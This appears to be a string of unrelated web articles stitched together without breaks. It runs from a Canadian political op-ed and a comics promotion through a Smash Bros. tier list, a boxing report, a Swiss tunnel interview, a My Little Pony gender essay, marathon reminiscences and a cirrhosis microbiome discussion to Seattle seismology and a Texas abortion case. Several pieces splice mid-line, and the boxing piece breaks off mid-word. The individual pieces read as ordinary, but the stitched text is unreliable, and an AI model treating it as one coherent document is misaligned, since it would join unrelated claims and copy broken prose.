At a time when there is a crisis in voter turnout, it's hard to see anything other than blatant self-interest in the Fair Elections Act.
The Tories succeed because they have harnessed the market forces in the current electoral economy. At a time when fewer Canadians are turning out to vote, they have cultivated a small but devoted core of supporters that votes with military predictability, donates money with religious fervour and — most importantly — loathes their political opponents.
The act provides changes that will only help the Tories. It is tailored to help political fundraising as the Tories practise it. It weakens oversight of electoral misdeeds, which is good for a party that complains about being constrained by existing laws. And in the face of what may be an irreversible decline in voting, it has silenced the lone voice trying to spur more Canadians to vote.
It's an insurance policy the Tory government hopes will allow it to continue governing without fear of an opposing popular uprising or watchdog wrist-slapping.
[email protected] THE LATEST, SUREFIRE TOP-OF-THE-CHARTS NEW RIVERDALE SERIES ON SEPTEMBER 28th!
Friends, countrymen, lend me your long tails and ears for hats—the Pussycats are back! In this series kick-off, Josie’s getting the band together to help achieve her dreams of musical stardom. But for the group to last, it needs a strong foundation of friendship and trust. Can the girls get going, or will Alexandra’s plotting put a stop to the whole thing?
Don’t miss comics’ supreme songstresses’ return to the limelight in this exciting first issue by co-writers Marguerite Bennett, Cameron DeOrdio, artist Audrey Mok, colorist Andre Szymanowicz and letterer Jack Morelli, available in comic shops and digitally on September 28th!
Enjoy this early look inside JOSIE AND THE PUSSYCATS #1 and be sure to pre-order this issue today with your local comic book shop by using the Comic Shop Locator service or calling 1-888-COMIC-BOOK and get it in stores on September 28th! Download the Archie App or subscribe and get JOSIE AND THE PUSSYCATS delivered straight to your door!The official Japanese tier list is based on the Japanese metagame of competitive Super Smash Bros. Brawl. Similar to the European tier list, there are no differences in gameplay between the North American, European, and Japanese versions of the game. However, the metagame of Japan is radically different from that of America and Europe (especially the stage list, which is only composed of Final Destination, Smashville, and Battlefield), leading to significantly different tier results.
The list is current as of December 16, 2011.
Tier list [ edit ]
The tiers are split into these groups: God (S+), Top (S, A+, A), High (B, C), Middle (D, E), Low (F, G) and Bottom (H).
Differences from the BBR tier list [ edit ]
There are many differences between the NTSC and Japanese tier lists due to a different metagame. Ganondorf is not dead last; Zelda is over twenty places higher (sharing her spot with Sheik, neither having individual placements); Pikachu is significantly lower; and Fox and Pit also both rose over eight places higher.
The following chart shows the change between each character' NTSC and Japanese tier placements, as well as their change in tier letter. As the NTSC and Japanese tier lists have different tier names and different numbers of places in the list (NTSC has 38, while Japanese has 36), this list does not show the exact change by percentile or number of tiers.A year and a half ago, the world got a new heavyweight boxing champion, when an unpredictable Englishman named Tyson Fury found a way to wrangle Wladimir Klitschko, the stalwart Ukrainian. Klitschko, along with his older brother, Vitali, had ruled the heavyweight division for over a decade—it was an impressive reign but not always an entertaining one, especially since the quality of their competition was widely judged to be poor. Fury’s victory was both a big upset and, for many boxing fans, a pleasant surprise. Finally, the sport had a new star: an outrageous and troubled giant who seemed to endorse the old-fashioned idea that the heavyweight champion of the world ought to be not just an athlete but a fighter and a character, too.
The first problem with Fury, though, is that he isn’t very entertaining when he is actually boxing—his fight against Klitschko, in particular, was a rather ugly and indecisive spectacle, one that became exciting only in retrospect, as fans realized that the Klitschkos’ reign was over. The second problem with Fury: he doesn’t seem interested in boxing at all. Fury dethroned Klitschko on November 28, 2015, and he hasn’t fought since. He twice pulled out of scheduled rematches with Klitschko, and at one point announced his retirement, asserting—accurately, perhaps, but not very encouragingly—that boxing was “a pile of shit.”
Klitschko hadn’t fought since losing to Fury, either, until this past Saturday night, when he made his comeback during one of the biggest boxing events of the decade: a match against Anthony Joshua, from England, a twenty-seven-year-old Olympic gold medalist who had become, in Fury’s absence, his country’s great heavyweight hope. Joshua was impressive but more or less untested: he had faced eighteen opponents in his career, most of them obscure, and knocked all of them out. It was clear that Klitschko would be Joshua’s toughest opponent yet. Still, boxing fans tend to be cynics and pessimists, and so most of us were reserving the right to say, afterward, that Joshua had been overhyped, or that Klitschko, who is forty-one, was simply too old.
There are good reasons, of course, for fans’ cynicism and pessimism. The sport has been carved up by competing corporate fiefdoms that determine which fights will happen and (more often) which won’t. Too often, viewers are asked to pay for matches that look like mismatches: this coming weekend, for example, the Mexican star Saúl (Canelo) Álvarez will fight, on pay-per-view, against Julio César Chávez, Jr., the erratic son of a Mexican legend. To watch the fight will cost you something like seventy dollars, while oddsmakers are pricing Álvarez, the favorite, at about minus six-fifty, meaning that a bettor would have to lay six hundred and fifty dollars on him in order to win a hundred dollars. The event is being promoted, brazenly and nonsensically, as a protest against President Trump’s immigration policies.
By contrast, last Saturday’s fight was the kind of matchup that the fans of other sports get to take for granted: a meeting of two of the best in the world, on relatively even terms. It was also broadcast live on Showtime—which has replaced HBO as the premier boxing network—instead of being offered on pay-per-view. It wouldn’t quite be accurate to say that the true heavyweight championship of the world was at stake. (When a champion abdicates, as Fury did, a new championship lineage can be created through a match between the top two contenders, as determined by general consensus. But often, as in this case, it takes a while for such a consensus to emerge.) Still, there was no question that the winner of Saturday’s fight would own the most impressive victory in the recent history of the division: either an old legend would be restored or a new one would be established.
Wladimir Klitschko is six feet six. He often frustrates shorter opponents by extending his jab and keeping it extended, like an older brother planting his hand on his little brother’s forehead. Against Fury, who is taller than him, Klitschko kept getting tangled up and pushed around. And against Joshua, who is also six-six, Klitschko once again struggled to establish dominance. Joshua also had youth and a ferocious crowd on his side—the fight was held at Wembley Stadium, in London, before about ninety thousand fans. What Klitschko had was wiliness, along with his jab, which has long been one of the sport’s most effective weapons.
Like most great fights, Klitschko-Joshua was a few different fights at once. Early in the fifth of twelve scheduled rounds, Klitschko began to reel and skip backward around the ring, with Joshua following; Joshua finally knocked him down with a left hook and an ensuing barrage, and, as the referee moved in to separate the boxers and begin his count, Joshua raised his hands, either to show that he had stopped punching or to claim victory. Perhaps it was both. Some fans were probably beginning to wonder whether there were any other Ukrainian cities in need of a brawny mayor.
Klitschko beat the count, though, and even as Joshua continued to punch and chase him, he seemed, shockingly, to recover. By the end of the fifth round, Joshua was staggering and gasping and holding onto Klitschko; it was as if Joshua’s barrage had cost him more than it had cost his opponent. In the sixth, Klitsch
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cope with feudal open spaces. Such spaces surrounded by wonderful architecture like those we see in Italy, Russia and France require a confident, upright step. Most of us fall short when it comes to taking pleasure in an elegant stride. Even if we could do it, we would be embarrassed about it.
Luzerner Zeitung: Given its agoraphobia and special need for concrete cover, Switzerland hasn’t done too badly. Is underground Switzerland perhaps also the secret of our success?
J.A.d.M.: The term “secret of our success” fits perfectly. We build carefully, we are discreet, we are perfectionist, we want what is practical. The sovereign people regularly votes Yes to underground construction. We want to be able to rely on these underground facilities. They give our country stability – not just in a functional sense but also, certainly, in a metaphysical way.
Luzerner Zeitung: When you say “we build,” that is true only up to a point. We mostly leave the dirty work to foreigners. This, too, is the subject of many critical comments in your book.
J.A.d.M.: The people who built Switzerland’s underground infrastructure did it for the wages. The workers who built the first Gotthard rail tunnel were paid a daily wage equivalent to four kilos of bread.
Luzerner Zeitung: You write that the building of Switzerland’s underground facilities has claimed more than 10,000 lives in the past 150 years. How did you arrive at this huge figure?
J.A.d.M.: I added it all up. I also added those who died because of the living standards alongside the tunnel construction, which were sometimes incredibly bad. They died of typhus, tuberculosis, worms and flu – they died of diseases that flourished in these inhumanly tight spaces. That’s why I included women and children who lived in the tunnel villages, as well as the miners themselves. And the hundreds who were sick and were sent home with a handful of money so that they didn’t cost Switzerland anything in their death throes. It is high time for us to erect a memorial site to show our gratitude.
Luzerner Zeitung: Is construction work in underground Switzerland finished?
J.A.d.M.: Not at all, on the contrary, there’s a waiting-list of tunnels to be built. And hopefully the underground transport system Cargo Sous Terrainexternal link will be built. It carries no ecological risks and would considerably ease the traffic above ground.
Facts and figures The combined length of all the manmade underground tunnels that are theoretically accessible is 3,750 kilometres – the distance from Zurich to Tehran. This is more than any other country in relation to surface area. The bulk of these underground constructions are not for military purposes (just 250km) but serve the water supply (803km), transport (1,238km), civil defence (about 1,200km), research (50km) and mining (300km). There is enough underground protection for 115% of the population. In no other country is there more than enough to accommodate the entire population. The excavated earth would fill a goods train more than 10,000 kilometres long. If the train was travelling at 60km/h, a level crossing would remain closed for seven days.
end of infobox
Source: Jost Auf der Maur: Switzerland unter Tagexternal link. 144 pages with illustrations. The book is published by Echtzeit-Verlag.
This interview was originally published in the Luzerner Zeitung external linknewspaper
(Translated from German by Cathy Hickley), swissinfo.ch
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SWI swissinfo.ch on Instagram SWI swissinfo.ch on InstagramI’m about four years late for the party, but I recently got in touch with my inner five-year-old girl and watched every single episode of My Little Pony: Friendship is Magic.
Four years ago, when this cartoon first aired, a few critics and parents, along with a large subpopulation of the internet–unexpectedly, most of them adolescent to adult males–sat up and took notice. Here was something new and different in children’s television. This wasn’t just a pink saccharine girls’ show. This was a (yes, often pink and always saccharine) show about how there are, in the words of the creator, “lots of different ways to be a girl.” For the most part (with only a very few flubs), it’s been hugely successful at that mission, depicting unique female characters with different strengths, weaknesses, likes, dislikes, conflicts, and solutions.
But, strangely enough, My Little Pony: Friendship Is Magic can also say quite a bit about what it means to be a boy. Most of the time this message comes not directly from the show itself, but through the show’s male fans. In March, a 9-year-old boy, Grayson Bruce, made national headlines when, after being bullied for his My Little Pony backpack, the school addressed the issue by telling him to leave the backpack at home. (After the incredible outcry about this victim-blaming, the school reversed its position, and took the opportunity to change its approach on bullying–a happy ending!)
There’s not always a happy ending, though. I first learned of Michael Morones, an 11-year-old fan of My Little Pony who attempted suicide in January, from Epbot.com, a blog I read religiously. At the bottom of the blog post on Epbot, there’s a compilation picture of kids who are “Epbot Exemplars,” or “geeks who know what they love and show it with pride.” As you can see, these are often girls who like “boy things.” That’s something our culture has become much more accepting of (even if we still have a long way to go). But boys who like “girl things”? Or children who reject the gender binary altogether? Now that’s a pony of a different color!
But these children are here. They’re speaking up. They’re telling us that they’ve seen the social constructions they’re inheriting from us, and they do not accept them. We need a new vocabulary. These children–and adults–are not necessarily transgender–that term has to do with your gender identity, or a person’s internal sense of their gender (which, by the way, has nothing at all to do with sexual orientation). Rather, we need terms to deal with gender expression–a person’s external projection of masculinity, femininity, everything in between, and/or something else altogether. Another of my favorite blogs, Raising My Rainbow, has taught me several words in this new vocabulary. Gender non-conforming, gender fluid, and gender creative are all terms that apply to people who don’t fit neatly and completely into the boxes of “male” or “female,” “boy” or “girl.”
Enter Seabreeze, a character on My Little Pony: Friendship is Magic who is, I would hazard to guess, the first male character in mainstream children’s television to be openly and unapolagetically fluid when it comes to his gender expression.
Seabreeze appears in the episode “It Ain’t Easy Being Breezies,” and he is not a pony, but a small “adorable fairy creature” called a breezy. I’ve read nothing that indicates the show’s creators intentionally crafted Seabreeze as a gender-fluid character, but I like to think that by the fourth season of the show, they’ve noticed the positive ripples their show has been making, and created Seabreeze as a nod to their gender-fluid fans.
I think this reading is not unlikely, because there have been episodes in earlier seasons which seem to be supportive of their fans who are “boys who like girl things.” In the second season episode “Dragon Quest,” Spike, who is a baby-dragon sidekick to one of the ‘mane’ characters, goes off to try to make friends with other dragons (read: boys), but comes to realize that he’s much happier sticking with his friends who are ponies (read: girls) and the interests he shares with them. He learns that “who I am is not the same as what I am,” ie, he might be a dragon, but he can still have characteristics much more closely associated with ponies than with dragons.
Ultimately, though, “Dragon Quest” doesn’t even begin to break down the gender binary. The dragons still (mostly) stick with dragons, and the ponies still (mostly) stick with ponies, and there isn’t any true fluidity between the two.
When it comes to Seabreeze, despite the pink hair, there are some reasons it might be a bit bold for me to claim he’s gender-fluid. Although, like ponies, the breezies are equestrian creatures (who, you know, also have antenna and wings), we really don’t know very much about them–and perhaps more importantly, there aren’t really any clear traits that signal gender differentiation at all for the breezies. For ponies in the show, females typically have longer eyelashes than males, but all of the breezies seem to have long eyelashes. Male ponies don’t tend to have manes that are long & flowing, or big & poofy, like some females do, but all of the breezies have either long & flowing or big & poofy manes.
We also don’t know anything about Seabreeze’s interests. We don’t know what his hobbies are, or what he does for fun. We don’t know whether he likes what are, traditionally, “girls’ things” or “boys’ things.” We do know that he is, at least for the moment, in somewhat of a leadership position among the breezies. We know he wears a gender-neutral black one-piece outfit, with a bit of white fur-like trim that adds some pizzazz to the outfit. (We do not have any other breezy clothing to compare this to. Ponies tend to wear clothing for special occasions, or to denote their roles in a group–here, the outfit could just be an indication of his leadership status.)
But Seabreeze is the only breezy who is able to talk with the ponies, and the only breezy who gets any character development at all. So the fact is inescapable that here is a character with a blue body and long pink hair, who prefers male pronouns but has long eyelashes, who is voiced by a male actor but with the pitch raised due to his small size. Here is a character who does not fit neatly or completely into any of our gender boxes.
Seabreeze’s character development over the course of the episode doesn’t appear, at first glance, to have anything to do with gender. The breezies are knocked off course during their migration, and Fluttershy, one of the mane characters, takes them into her home to care for them until they can get going again. Seabreeze initially seems overly harsh and, in fact, downright mean: he tries to get the rest of the breezies moving again, but they don’t listen. He yells at them and calls them names–he calls them losers and wimps; he says they’re not too bright and calls them incompetent. Meanwhile, the rest of the breezies take advantage of Fluttershy’s overly-kind nature, and convince her to keep pampering them and to continue letting them stay in her home instead of going back to work, even though there’s a time limit on how long the portal to their own world will stay open, making their delay particularly dangerous.
For a character who, I’m arguing, is meant to be a positive portrayal of a gender-fluid individual, Seabreeze sure doesn’t seem very likable at first. To fully understand the undercurrents of gender in this plot, it’s helpful to look back at another episode from the second season, “Putting Your Hoof Down,” which also centers around Fluttershy. Out of all the mane characters, Fluttershy is one that tends to have traditionally feminine characteristics. She represents the virtue of Kindness, and is gentle, soft-spoken, good with animals, and an excellent care-giver. “Putting Your Hoof Down” (an episode which resonates very strongly with me!) explores the downsides to those characteristics when it shows how Fluttershy can sometimes be overshadowed, overlooked, and treated as a doormat as a result of other ponies taking advantage of her timid behavior.
Several of her friends, who are strong, assertive women, try to teach Fluttershy to stand up for herself, but nothing seems to work for her. At least, not until she enrolls in Iron Will’s Assertiveness Training.
Unfortunately, Iron Will (who happens to be a super-macho, hyper-masculine Minotaur) teaches Fluttershy to be aggressive rather than assertive. It’s not the kind of assertiveness that Fluttershy needs in order to stand up for herself, but rather the sort of “assertiveness” that results from an innate sense of male privilege, where you walk over everybody because you haven’t bothered to look down to see them.
When I watched this episode, I was at first rather nervous at the direction the plot was going in. I was worried that in showing that the result of the gentle, feminine Fluttershy taking on the more masculine trait of assertiveness is her turning into a character that is mean, “bossy,” or a “b****,” the episode would only further perpetrate the negative stereotypes associated with assertive females. However, the ending rescues the episode. Fluttershy learns to find a balance between her innate gentleness and her new-found strength, and she stands up to Iron Will himself when he comes to collect the course fee, not by yelling and being aggressive, but by telling him gently (but assertively!), “No means no.”
In this way, Fluttershy affirms that she will no longer tolerate being a doormat–but also that hyper-masculine displays of strength are not appropriate methods for standing up for yourself. Taken by itself, I still think “Putting Your Hoof Down” is somewhat problematic, showing too much of the negative side of assertiveness when it’s taken too far and not enough of the positive ways one can find that balance between gentleness and strength. But in the wider context of the show, with plenty of other episodes (including “It Ain’t Easy Being Breezies”) giving Fluttershy opportunities to use her quiet resolve, for the good of herself and her friends, these issues diminish.
Fluttershy’s character arc in “It Ain’t Easy Being Breezies” is that she must realize that, although she thinks she is helping the breezies, by allowing them to take advantage of her, she’s gone back to being a doormat. Once she realizes just how dangerous it is to let the breezies stay, and that the only way to really help them is to use what she previously learned and tell them (gently but assertively), “No means no,” the plot is resolved, and the breezies are on their way back home.
Seabreeze, on the other hand, has almost the entirely opposite arc. In the beginning, he’s trying to get the breezies to get going (for their own good) by using Iron Will’s style of aggression. But unlike Iron Will, Seabreeze is not super-macho and hyper-masculine. He’s in fact rather feminine, and Iron Will’s tactics don’t work for him. They backfire.
However, it is only when Fluttershy understands that Seabreeze is trying (unsuccessfully) to be assertive rather than aggressive that she understands what must be done. Seabreeze is making the same mistake she’d made in “Putting Your Hoof Down,” but Fluttershy is able to demonstrate a gentler, more feminine form of assertiveness. Where Seabreeze’s aggressiveness had failed, Fluttershy’s quiet assertiveness succeeds.
The effect that observing Fluttershy’s style of assertiveness has on Seabreeze is immediate and dramatic. His demeanor changes to be more like Fluttershy’s–he’s helpful and gentle. And it seems so much more natural for him to be that way.
By the end of the episode, both Fluttershy and Seabreeze have found a balance between their feminine gentleness and their masculine strength. And they are both better for it, and are now finally able to work together to help their friends get home.
And then–oh, then!–we see Seabreeze return home. And greet his wife and newborn child.
And in a heartbeat, Seabreeze is not only made into a much more complex character–who wouldn’t get mean if you might be indefinitely separated from your loved ones?!–but a further message is communicated to the viewer, that gender expression has nothing at all to do with sexuality, and gender expression has nothing at all to do with an individual’s ability to be a part of a loving, whole, family. This male who has many very feminine traits is a loving husband and father who works hard for his family, and is also a successful community leader.
And there’s absolutely no reason why he shouldn’t be.
AdvertisementsFive of the nine fastest New York City Marathon times by American men were recorded in the 1980s or before. The other four belong to Meb Keflezighi
How did American men perform so well 30 to 40 years ago? Although the five-borough course has been altered a few times since it was first run in 1976, the changes aren’t significant enough to explain the difference. We asked Bill Rodgers Alberto Salazar, and Ken Martin for their thoughts. All three ran strong, fast New York City Marathons several decades ago. (See the chart at bottom for the top 10 American performances in New York.)
Bill Rodgers won the New York City Marathon four times, with a best performance (2:10:10 in 1976) less than a minute slower than his PR, 2:09:27.
The psychology: In 1976, I had a foot injury at the Montreal Olympics [where he finished 40th]. The race crushed me. I remember afterward, sitting in the dark alone, and seeing the Olympic screen light up with “See you in Moscow in four years.” I thought, “That’s a long, long ways off.”
I needed something sooner. New York was it. I was absolutely fired up for a comeback race. It was such a big, spectacular new event, with that incredible start on the Verrazano Narrows bridge. I was wired as hell.
The course: I liked the undulating course. I was always leery of the flat courses. I found them boring. I liked courses that demanded my attention every step of the way.
Hometown advantage: I always ran well at Boston and New York City, because I grew up in Hartford, about midway between them. I had more drive and spirit in Boston and New York. They were like my home courses. They gave me an extra motivational push.
Alberto Salazar ran and won the New York City Marathon three times: 1980, 1981, and 1982. His best time at New York, 2:08:13 in 1981, was 39 seconds faster than his best at Boston, 2:08:52 in 1982. (Salazar’s 1981 time was initially considered the world record, but the course was subsequently found to be roughly 150 yards short, which translates to about 25 seconds slower.)
The course: It’s hard to get a good tempo going for a long time in New York. One mile you run a 4:45 and the next a 5:10, but the effort is the same. There’s always a bridge, a little hill, the variations in the road surface. Mentally and physically, there are so many variables running through your mind. I was a good cross-country runner, so it didn’t bother me that much.
The lack of pacers: These days, without the kinds of pacers they have in Berlin and London, it’s hard to run fast times in New York. With pacers, you might have 2:06s. Without them, you get 2:08 or slower. No one’s willing to take the lead, and push the pace. Things change too quick. You feel good one moment, but know the next mile might turn bad. You’re thinking about that, and it seems too risky to lead.
Then and now: Maybe we weren’t that fast back in the old days. We would run New York in more or less the same time as other marathons. Whereas now, the times are much faster at other marathons—the 2:03s and 2:04s. If you analyze the race theoretically or physiologically, it doesn’t look that hard. The hills aren’t big, steep challenges. But things keep changing. You can get too jacked up and go too fast on First Avenue. Then you pay in Central Park. By the end, your body is really beaten up.
Ken Martin finished second in the 1989 NYC Marathon with a lifetime best of 2:09:38. He ran a number of other competitive (but slower for him) marathons on courses that included Boston, Chicago, Berlin, and Cal International, where he recorded a 2:11:24.
A long taper: I look at the online training logs of some of today’s best Americans, and I feel like they’re doing too much, too close to the marathon. The last three weeks, I ran 70 miles, 50 miles, and 30 miles. By race day, I had fresh legs. I was chomping at the bit. I was ready to go.
Consistent training: I also wasn’t trying to do more in training all the time. I didn’t necessarily try to increase my mileage every year. Instead I followed a similar training plan year by year, and let my body get stronger. I wasn’t aiming to go longer and faster. I never did more than three times a mile, and a 20-minute tempo run was enough. I wasn’t constantly trying to ratchet things up. All that does is, eventually it whips you.
The competition: I was never going for a certain time in marathons. I was running against the other guys, running to win. In New York in 1989, we had some miles in the 4:30s on the flats in Brooklyn, and I matched them. We were in the 1:03:40s at halfway. It was impossible to keep that going with the hills in Central Park at the end, but the other guys died worse than I did. That’s how I got second. [Juma Ikangaa won in a then-course record of 2:08:01.]
The table below shows the 10 best American times on the five-borough New York City Marathon course. As noted above, the course has undergone slight changes over the decades, and Salazar’s 1981 time was on a course that was estimated to be about 25 seconds short at Salazar’s pace.We found that cirrhotic subjects who required non-elective 90-day hospitalization had a different microbial profile that could add to the current models for this prediction. We also found that although DM in the presence of cirrhosis alters the mucosal and stool microbiota compared to cirrhotics without DM, it does not add to the 90-day hospitalization risk.
Hospital admissions are a growing healthcare burden in cirrhosis that requires urgent attention5,11,13. Clinical models of these admissions center on cirrhosis severity and complications, which may require refinement using further patho-physiological tools11. In our study, we found that gut microbiota alterations can independently add to this predictive capacity beyond cirrhosis severity and medication usage. We found significant differences in the stool and sigmoid mucosal microbiota composition at the family level between those with and without hospitalizations. Replicating prior studies, we found a significantly lower autochthonous bacterial relative abundance and increased potentially pathogenic microbiota in advanced cirrhotics, who in turn were more likely to be hospitalized14,15. An independent contribution of a reduced relative abundance of Bacteroidaceae and Clostridiales XIV towards this outcome was found. These results extend prior studies that have evaluated hospitalized cirrhotic patients for either 30-day mortality and organ failure or those with established acute-on-chronic liver failure with early mortality, into the outpatient cirrhosis realm14,16. These studies showed that different bacterial families, Lachnospiraceae, Clostridiales XIV, Ruminococcaceae and Pasteurellaceae were associated with short-term mortality compared to Bacteroidaceae and Clostridiales cluster XIV in the current study evaluating relatively longer-term events. Similar results were also found with saliva-related microbiota in the prediction of hospitalizations in a smaller set of patients17. However the greater sample size and quantum higher bacterial concentration in the stool compared to saliva would potentially make this a more robust observation.
Different bacterial functions and roles may be relevant in these differences over the short and long-term prognoses. Clostridiales XIV, Lachnospiraceae and Ruminococcaceae relative abundance has been shown to parallel liver disease severity and they have been potentially beneficial impacts on bile acids and short-chain fatty acids, which could reduce colonic pH and support the intestinal barrier18,19. The role of Bacteroidaceae may be more nuanced. Bacteroidaceae are a large family within Bacteroidetes phylum which usually form 20–30% of bacterial abundance in cirrhotic subjects8,14. Cirrhotics who were ultimately hospitalized had a significant reduction in only two families in Bacteroidetes, Bacteroidaceae and Porphyromonadaceae but not others such as Prevotellaceae or Rikenellaceae. This indicates that this is not simply a reduction in the whole phylum but specific families, especially since the Firmicutes/Bacteroidetes ratio was not significantly different between groups. Members of Bacteroidaceae are relatively resistant to antibiotics, produce a weak endotoxin and can protect commensal bacteria against antibiotics20. Indeed an environment low in Bacteroidetes has been shown to promote the growth of C.difficile21. Therefore this reduction in Bacteroidaceae may indicate a gut milieu prone towards development of further insults regardless of HE and MELD score. The relative increase in relative abundance of Bacteroidaceae in NASH and DM cirrhotics compared to alcoholics and other etiologies of cirrhosis could also explain the historically higher rate of infections in alcoholic cirrhotic subjects compared to NASH patients14,22.
The relationship between sigmoid mucosal Porphyromonadaceae reduction, increase in families belonging to Proteobacteria and subsequent hospitalizations is novel in this study. Porphyromonadaceae are usually of oral origin that have been associated with higher inflammation, progression of fatty liver disease and cognitive dysfunction in human and animal studies23,24. Members of Proteobacteria are usually increased in the stool of cirrhotic subjects and are linked with endotoxemia, but our study extended this onto the mucosa and linked them with clinically-relevant outcomes15. A recent study showed that in cirrhotics that have already been hospitalized ultimately achieve a microbial pattern i.e. significantly lower Bacteroidaceae, Porphyromonadaceae and Clostridiales XIV relative abundance compared to outpatients, indicating the complicity of these changes in promoting future adverse outcomes14.
It is also interesting that despite being on medications that improve overall outcomes by altering gut microbiota composition and function i.e. lactulose and rifaximin, patients were still prone to development of hospitalizations that were predicted by microbial changes25,26,27. A recent study has found that the probiotic VSL#3 reduced overall hospitalizations but not specifically HE episodes, compared to placebo in patients who had recovered from HE but were not on lactulose28. This randomized trial clearly sets the standard for beneficial microbial manipulation but did not study the probiotics in the context of lactulose, the standard of care, and did not evaluate the microbiome. However, our underlying microbial differences between those who were hospitalized or not but not within those who were hospitalized for HE compared to other conditions, could partly explain their results7. Therefore the impact of the microbiota (decreased Clostridiales XIV and Bacteroidaceae) may prime the milieu for future insults that are result in admission regardless of the proximate cause. Future research into therapies that can beneficially alter the microbiota and prevent these outcomes in cirrhotics already taking standard of care treatment (lactulose and rifaximin) is required.
In cirrhotics with concomitant DM compared to those without it, we found a significantly different microbial composition at the stool and mucosal level. Specifically families in stool showed an increased relative abundance of Bacteroidaceae, Veillonellaceae, Streptococcaceae and Eubacteriaceae with a decrease in autochthonous Ruminococcaceae. This pattern has been shown in prior NASH cirrhosis experience, which was over-represented in this population, as well as in non-cirrhotic DM studies and studies of obesity10,14,29,30. The modulation of the microbiome with NASH, DM and obesity, can now be interpreted in the context of concomitant cirrhosis. Interestingly, this pattern is different from advancing cirrhosis and those who ultimately required hospitalization; it is likely a DM-related change in microbial composition31. However despite an altered microbiota composition in the sigmoid mucosa and the stool, DM in itself did not predispose to higher 90-day hospitalizations. However, the subgroup on insulin was indeed associated with a higher hospitalization rate, which could possibly due to a worse DM control and accompanying dysbiosis. The lack of effect on hospitalization overall in all DM patients may be due to relatively shorter follow-up compared to prior studies that did show an impact of DM on prognosis2. We limited our follow-up to 90 days to minimize variability within the microbiota from the baseline and because that is the validity of the MELD score32.
Replicating prior studies, we found that PPI use was a significant predictor of admissions and were more likely used in those with more advanced liver disease33,34. In addition to the generalized dysbiosis, there was a significant increase in Streptococcacae relative abundance, presumably of a salivary origin, with PPI use as prior studies have also shown12,35. This specific increase in Streptococcacae in PPI-using subjects also highlights the exceedingly complex gut milieu that is influenced differently by each medication. Interestingly this trend persisted even in the presence of HE therapy. However, despite controlling for all other important variables, PPI use remained significantly predictive of admissions.
Although this is the largest experience of mucosal microbiota to date in cirrhosis, changes in mucosal microbiota were not as predictive as stool for hospitalizations. As expected families from Proteobacteria had a higher relative abundance in the mucosa of those who were hospitalized, that demonstrates a different pattern of dysbiosis from that seen in the stool. This could be due to a relative stability of mucosal microbiota compared to changes in stool over time with factors such as diet or could be due to the relatively smaller sample of patients who underwent sigmoid biopsies. However from a practical standpoint, the relative non-invasiveness of stool collection compared to sigmoid mucosa, is encouraging towards using these samples, rather than the mucosal ones, for prediction of hospitalizations.
The study is a descriptive and cross-sectional analysis of microbiota to predict outcomes over 90 days, which did not study variations over time. However, in a prior study we found that gut microbiota track the underlying disease process and are stable over time14. There are also several other factors, including genetic variations and changes in microbial functionality, that could also impact the development of further complications in cirrhosis, that were not specifically assessed36. While the changes in bacterial subgroups are not as striking as those found in studies comparing cirrhotics with non-cirrhotic groups or with healthy controls8,14,15, it is important to realize that these were found in the context of our population of only cirrhotic subjects and were independently related to poor clinical outcomes despite controlling for available biomarkers. The use of MTPS also limited us to a relative smaller depth compared to metagenomic sequencing37; future studies are needed to evaluate these for long-term clinical outcomes. Despite these limitations, we were able to define a distinct microbial pattern in concomitant DM and in cirrhotics who were ultimately hospitalized.
The results demonstrate that gut and mucosal microbiota are altered in cirrhotic subjects who are non-electively hospitalized within 90 days regardless of the cause of hospitalization. This pattern is different from that induced by concomitant DM. Stool microbiota changes can enhance the predictive capability of current traditional biomarkers in the prediction of 90-day hospitalizations. Further studies into beneficial microbial modulation in cirrhotic patients to prevent hospitalizations are needed on the background of standard of care treatments.SEATTLE — What if the Big One happens during the Big Game?
Seattle has been bracing for a major earthquake for as far back as anyone can remember. More recently, it has been gearing up for Saturday night’s playoff between the Seahawks and the Carolina Panthers, a game that could put this sports-crazed city in contention for a second consecutive N.F.L. Super Bowl championship. Already, Seattle is awash in a blue-and-green tide of face paint, bumper stickers, pennants and earmuffs.
Now, geophysicists are connecting the dots. This week, they installed three earthquake monitors inside the Seahawks’ stadium, in what scientists say will be the first attempt to capture, almost in real time, the seismic effects of a rowdy, stomping, screaming, jumping, dancing crowd of 67,000-odd people.
The monitors are connected to the Pacific Northwest Seismic Network, which went live on Thursday with a website called QuickShake that will provide a different kind of color commentary to Saturday’s game as the sensors feed back the ground-shaking physical evidence of every big play, and big crowd emotion.Activists demonstrate in support of a pregnant 17-year-old being held in a Texas facility for unaccompanied immigrant children to obtain an abortion on Oct. 20, 2017. AP Photo/J. Scott Applewhite
WASHINGTON - The U.S. Court of Appeals ruled Friday that an undocumented teenager in Texas is not allowed to immediately have the abortion she requested. The Court gave the federal government until October 31st to find a sponsor to take custody of the teen and take her to an abortion clinic to have the procedure.
The Court heard oral arguments Friday morning from the federal government and the American Civil Liberties Union in Washington, D.C.
The pregnant undocumented teen, known in court filings as Jane Doe, is at the center of a legal dispute over whether unaccompanied immigrant minors have the right to an abortion in the United States.
According to the American Civil Liberties Union, the Trump administration is forcing Doe to continue carrying her pregnancy against her will and time is running out. Doe is 15 weeks pregnant, and under Texas law she can not terminate her pregnancy after 20 weeks.
Friday's ruling gives the Department of Health and Human Services until Oct. 31 to find Doe a sponsor who can handle her request for an abortion instead of the federal government.
"The Government argues that this process by which a minor is released from HHS custody to a sponsor does not unduly burden the minor's right under Supreme Court precedent to an abortion. We agree, so long as the process of securing a sponsor to whom the minor is released occurs expeditiously," the ruling stated.
Abortion rights protestors arrive to prepare for a counter protest on the 39th anniversary of the Roe vs Wade decision, in front of the US Supreme Court building. Thomson Reuters
The issue of finding Doe a sponsor was explored at length by the three-judge panel at Friday's hearing. Judge Brett Kavanaugh said he was "concerned" this option had not been explored more.
"We should avoid constitutional issues if possible," Judge Karen Henderson said.
Both parties mentioned that more than one attempt to find a sponsor have already fallen through. Lawyers with the ACLU stressed that the sponsorship process takes too much time given the tight timeline for Doe to get the requested abortion.
In Friday's hearing, the federal government lawyer said that the Trump administration is not denying Doe's constitutional right to an abortion.
"We are not taking a position on that," said attorney Catherine Dorsey, who went on to argue that what is actually blocking Jane Doe's abortion is her status as a minor under federal custody and that the government is not required to facilitate her abortion.
"What's happening here is the government refusing to facilitate the abortion and that is not an undue burden," said Dorsey.
Though Doe's home country was not revealed, lawyers at the hearing spoke as if legal access to an abortion was not available there.
"We are not putting an obstacle in her path," Dorsey said. "We are declining to facilitate an abortion."
The panel of judges also questioned why Doe's situation as a minor should be handled differently than that of an adult women who, if detained by Immigrations and Customs Enforcement, would be able to access abortion services.
